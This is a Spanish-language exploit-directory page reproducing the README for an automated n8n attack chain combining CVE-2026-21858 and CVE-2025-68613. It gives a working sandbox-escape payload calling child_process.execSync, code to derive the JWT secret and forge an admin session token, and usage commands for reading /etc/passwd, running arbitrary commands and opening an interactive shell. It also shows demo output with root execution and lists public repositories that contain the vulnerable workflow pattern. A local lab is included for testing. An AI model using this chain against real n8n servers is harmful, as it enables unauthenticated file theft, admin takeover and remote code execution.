Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-21858 — Cadena de explotación automatizada para n8n que logra lectura arbitraria de archivos sin autenticación, falsificación de token de administrador y evasión de sandbox para ejecución remota de código mediante inyección de expresiones. | Kitploit
Herramientas/GitHubGitHub/kaleth4/cve-2026-21858
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticaciónRed TeamingDesarrollo de Payloads
GitHubkaleth4/cve-2026-21858

CVE-2026-21858

Cadena de explotación automatizada para n8n que logra lectura arbitraria de archivos sin autenticación, falsificación de token de administrador y evasión de sandbox para ejecución remota de código mediante inyección de expresiones.

Ver Repositorio
hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-21858 + CVE-2025-68613 - Cadena completa en n8n

Lectura arbitraria de archivos sin autenticación → Forja de token de administrador → Bypass de sandbox → RCE

Cadena completa de RCE sin autenticación en n8n:

  1. CVE-2026-21858 - Confusión de Content-Type → Lectura arbitraria de archivos
  2. Leer configuración + base de datos → forjar JWT de administrador
  3. CVE-2025-68613 - Inyección de expresiones → bypass de sandbox → RCE

Detección

La exposición es basada en versión. En términos de exposición, hay instancias vulnerables de n8n accesibles públicamente.

Resultados de LeakIX: Ver instancias expuestas

¿Por qué este exploit?

Este exploit fue desarrollado de forma independiente al informe de Cyera (descubierto después de su finalización). Diferencias clave:

Cyera (Investigación original)Este exploit
Lectura de archivosCargar en la base de conocimiento de IA → consultar mediante chatRespuesta HTTP directa
Requisitos previosWorkflow de chat + integración de IACualquier formulario con carga de archivos
Método de RCENodo "Execute Command" (deshabilitado por defecto)Inyección de expresiones (funciona en instalaciones predeterminadas)
AutomatizaciónDemo manual/conceptualScript Python totalmente automatizado

Ambos enfoques requieren configuraciones de workflow específicas. Cyera necesita chat + integración de IA, este exploit necesita un formulario con nodo Respond. Consulta Limitaciones para más detalles.

Cadena de ataque

root@kitploit:~
┌───────────────────────────────────────────────────────────┐
│                     SIN AUTENTICACIÓN                      │
├───────────────────────────────────────────────────────────┤
│  1. Leer /proc/self/environ → Encontrar directorio HOME   │
│  2. Leer $HOME/.n8n/config → Obtener encryptionKey        │
│  3. Leer $HOME/.n8n/database.sqlite → Obtener credenciales│
│     de administrador                                      │
├───────────────────────────────────────────────────────────┤
│                      FORJA DE TOKEN                       │
├───────────────────────────────────────────────────────────┤
│  4. Derivar secreto JWT a partir de encryptionKey         │
│  5. Forjar cookie de sesión de administrador              │
├───────────────────────────────────────────────────────────┤
│                    RCE AUTENTICADO                        │
├───────────────────────────────────────────────────────────┤
│  6. Crear workflow con inyección de expresiones           │
│  7. Bypass de sandbox mediante this.process.mainModule.   │
│     require                                               │
│  8. Ejecutar comandos arbitrarios                         │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - Lectura arbitraria de archivos mediante confusión de Content-Type

El parche

root@kitploit:~
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

El legendario "Merge commit from fork" - cuando ves esto, alguien encontró algo picante. 🌶️

Causa raíz

root@kitploit:~
// ANTES (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// DESPUÉS (corregido)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Enviar Content-Type: application/json → controlar filepath → leer cualquier archivo.

CVE-2025-68613 - RCE mediante inyección de expresiones

¿Por qué este bypass?

n8n aísla el código de usuario (nodo Code, expresiones) usando vm2/isolated-vm. Otros vectores de RCE:

TécnicaEstado
Nodo Execute CommandDeshabilitado por defecto (N8N_ALLOW_EXEC_COMMAND=false)
Nodos SSH/HTTPSe ejecutan en servidores remotos, no en el host de n8n
Escape de sandbox PyodideCVE-2025-68668 - requiere nodo Python Code
Inyección de expresionesCVE-2025-68613 - funciona en instalaciones predeterminadas

Usé inyección de expresiones porque funciona en cualquier n8n con configuración predeterminada - sin nodos ni configuración especiales requeridos. El bypass de Pyodide (CVE-2025-68668) requiere el nodo Python Code que puede no estar disponible en todas las instancias.

El payload

root@kitploit:~
={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

Las expresiones de n8n tienen acceso a this.process.mainModule.require → escape completo del sandbox.

Forja de token

root@kitploit:~
# Derivación del secreto JWT
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# Hash JWT
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forjar token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

Configuración del laboratorio

root@kitploit:~
docker compose up -d
# Esperar ~60 segundos para la configuración
# Formulario: http://localhost:32790/form/vulnerable-form
# Credenciales: [email protected] / ExploitLab123!

Uso

root@kitploit:~
# Leer archivo arbitrario
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Cadena completa con comando
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Shell interactivo
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

Demo

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - Cadena completa en n8n  ║
║     Lectura arbitraria de archivos → Forja de token → Bypass  ║
║     de sandbox → RCE                                          ║
╚═══════════════════════════════════════════════════════════════╝

[*] Objetivo: http://localhost:5678/form/vulnerable-form
[*] Versión: 1.65.0 (VULNERABLE)
[x] Directorio HOME
[+] Directorio HOME: /root
[x] Clave de cifrado
[+] Clave de cifrado: yusrXZV1...
[x] Base de datos
[+] Base de datos: 1327104 bytes
[x] Usuario administrador
[+] Usuario administrador: [email protected]
[x] Forja de token
[+] Forja de token: OK
[x] Acceso de administrador
[+] Acceso de administrador: ¡CONCEDIDO!
[+] Cookie: n8n-auth=eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

Limitaciones

Esto NO es un exploit para "comprometer cualquier n8n". Requiere condiciones específicas para funcionar:

RequisitoDescripción
Formulario con carga de archivosEl objetivo debe tener un workflow de formulario con un campo de carga de archivos
Nodo Respond to WebhookEl workflow debe devolver el contenido del archivo en la respuesta HTTP
Workflow activoEl workflow del formulario debe estar activado
Acceso sin autenticaciónEl formulario debe ser accesible públicamente (sin autenticación)

Ejemplo de configuración de workflow vulnerable:

root@kitploit:~
{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}

Los elementos clave son: fieldType: "file" + respondWith: "binary". Este patrón es común en workflows de procesamiento de archivos (convertidores, redimensionadores de imágenes, procesadores de documentos).

Funciona:

  • Formularios con nodo Respond que devuelven binarios (convertidores de archivos, procesadores)
  • Instalaciones predeterminadas de n8n (la inyección de expresiones no está bloqueada)
  • Implementaciones locales/Docker (base de datos + configuración almacenadas en disco)

No funciona:

  • Formularios sin nodo Respond (el archivo se lee pero el contenido no se devuelve en la respuesta HTTP)
  • Formularios que requieren autenticación
  • n8n Cloud (arquitectura diferente, sin acceso a archivos locales)
  • Versiones parcheadas (>= 1.121.0)

Nota: La vulnerabilidad (lectura arbitraria de archivos) se activa independientemente del método de exfiltración. El nodo Respond es solo una forma de recuperar el contenido. Métodos alternativos (OOB, otros nodos de salida) pueden funcionar según la configuración del workflow.

Explotación ciega: Si no existe un nodo respond, el archivo aún es leído por n8n pero no puede ser exfiltrado mediante la respuesta HTTP. Se necesitarían técnicas alternativas (OOB, temporización).

Ejemplos del mundo real

El patrón vulnerable (Form Trigger + carga de archivos + Respond to Webhook) existe en repositorios públicos de GitHub.

Nota: Los repositorios populares de workflows de n8n (>100⭐) no usan este patrón. Estos son proyectos comunitarios/personales:

Archivo de workflowCampos de archivorespondWith
ifcpipeline/.../ifcpipeline.jsonIDS, IFC (x2)binary ⚠️
nano-banana-studio/.../03_multi_asset_processor.jsonImágenes, Audio, Markdownjson
ticket-omnichannel-chat/.../Knowledge_base.jsonDocumento(PDF)text
ai_resume_project/resume_rag.jsonCarga de archivoallIncomingItems
fkgpt-portfolio/.../audio-transcription-analysis.jsonArchivo de audiotext
n8n-backup/.../K3DwHQs0fnnm5UK0.jsonfiletext
voltixLandingPage/.../chatbotvoltix.jsonCargar archivopredeterminado
n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.jsonfilepredeterminado
8n8Workflows/.../3WoSqiBnZ56RtWMb.jsonSube tu documentopredeterminado
learn_earn_ai_insta/.../My workflow.jsonsube tu archivopredeterminado
finintworkshop/.../API using n8n (ToT).json

Estos son workflows contribuidos por la comunidad. Ninguna plantilla oficial de n8n.io usa este patrón vulnerable.

Referencias

  • Entorno Vulhub - Laboratorio listo para usar en Vulhub
  • Investigación de Cyera - Informe completo de Ni8mare - Investigación original de Dor Attias
  • GHSA-v4pr-fm98-w9pg - CVE-2026-21858
  • GHSA-v98v-ff95-f3cp - CVE-2025-68613
  • Plantilla Nuclei CVE-2025-68613
  • Resultados de búsqueda en LeakIX - Instancias vulnerables expuestas
  • Formidable - "La librería, no la canción" (gracias Cyera por la risa)
Descargar herramienta
file
json